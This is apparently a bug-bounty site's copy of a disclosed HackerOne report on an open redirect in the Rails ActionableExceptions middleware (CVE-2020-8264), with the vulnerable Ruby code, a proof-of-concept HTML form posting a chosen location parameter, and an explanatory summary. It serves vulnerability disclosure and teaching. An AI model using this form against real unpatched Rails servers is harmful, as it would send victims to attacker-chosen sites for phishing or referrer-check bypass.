Skip to content
Open redirect Disclosed report Intermediate CVE-2020-8264CVE-2020-8185

Open Redirect (6.0.0 < rails < 6.0.3.2)

The Rails ActionableExceptions middleware took a user-supplied location parameter and used it directly in a redirect without validation. An attacker could craft a form that made the server redirect a victim to an arbitrary external site.

ooooooo_q Follow

Originally disclosed on HackerOne

Bounty$1,000 High View original
  • Triaged in 2 months
  • Fixed in 4 months
  • Paid in 6 months
  • Disclosed after 6 months

Hello, I was looking at the change log (https://github.com/rails/rails/commit/2121b9d20b60ed503aa041ef7b926d331ed79fc2) for CVE-2020-8185 and found another problem existed.

https://github.com/rails/rails/blob/v6.0.3.1/actionpack/lib/action_dispatch/middleware/actionable_exceptions.rb#L21

Ruby
  redirect_to request.params[:location]
end

private
  def actionable_request?(request)
    request.show_exceptions? && request.post? && request.path == endpoint
  end

  def redirect_to(location)
    body = "<html><body>You are being <a href=\"#{ERB::Util.unwrapped_html_escape(location)}\">redirected</a>.</body></html>"

    [302, {
      "Content-Type" => "text/html; charset=#{Response.default_charset}",
      "Content-Length" => body.bytesize.to_s,
      "Location" => location,
    }, [body]]
  end

There was an open redirect issue because the request parameter location was not validated. In 6.0.3.2, since the condition of actionable_request? has changed, this problem is less likely to occur.

PoC

1. Prepare server

Prepare an attackable 6.0.3.1 version of Rails server

❯ rails -v
Rails 6.0.3.1

❯ RAILS_ENV=production rails s
...
* Environment: production
* Listening on tcp://0.0.0.0:3000

2. Attack server

Prepare the server for attack on another port.

HTML
<form method="post" action="http://localhost:3000/rails/actions?error=ActiveRecord::PendingMigrationError&action=Run%20pending%20migrations&location=https://www.hackerone.com/">
	<button type="submit">click!</button>
</form>
python3 -m http.server 8000

3. Open browser

Open the http://localhost:8000/attack.html url in your browser and click the button. Redirect to https://www.hackerone.com/ url.

__________2020-06-21_10.26.21.png
__________2020-06-21_10.26.21.png From the original on HackerOne

Impact

It will be fixed with 6.0.3.2 as with CVE-2020-8185(https://groups.google.com/g/rubyonrails-security/c/pAe9EV8gbM0), but I think it is necessary to announce it again because the range of influence is different.

This open redirect changes from POST method to Get Method, so it may be difficult to use for phishing.On the other hand, it may affect bypass of referrer check or SSRF.

The original report as published on HackerOne, by ooooooo_q. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

Likely the middleware passed the request's location parameter into the Location header without checking that it pointed to a trusted destination.

Impact

The redirect changes from POST to GET, which may make phishing harder, but it could still help bypass referrer checks or assist SSRF.

What the attacker needed

Rails 6.0.0 to [redacted]; production environment; victim submits a crafted form

The fix

In [redacted] the actionable_request? condition changed, making this less likely to occur.

How it was found

  1. Run a vulnerable Rails 6.0.3.1 server in production mode.
  2. Host a page containing a form that posts to the actions endpoint with a chosen location value.
  3. Open the page in a browser and submit the form.
  4. Observe the browser being redirected to the external site.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

An open redirect is when a website sends you to another address that an attacker chose. Here the server read a value from the request and put it straight into the redirect header, so a crafted form could send visitors to any site the attacker wanted.

What is Open redirect?

A trusted site forwards users to any address an attacker picks; rarely paid alone, often the missing link in a chain.

More by ooooooo_q

View all

53 more disclosed reports, best first.

More from Ruby on Rails

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Open redirect

The lesson behind this report.

A trusted site forwards users to any address an attacker picks; rarely paid alone, often the missing link in a chain.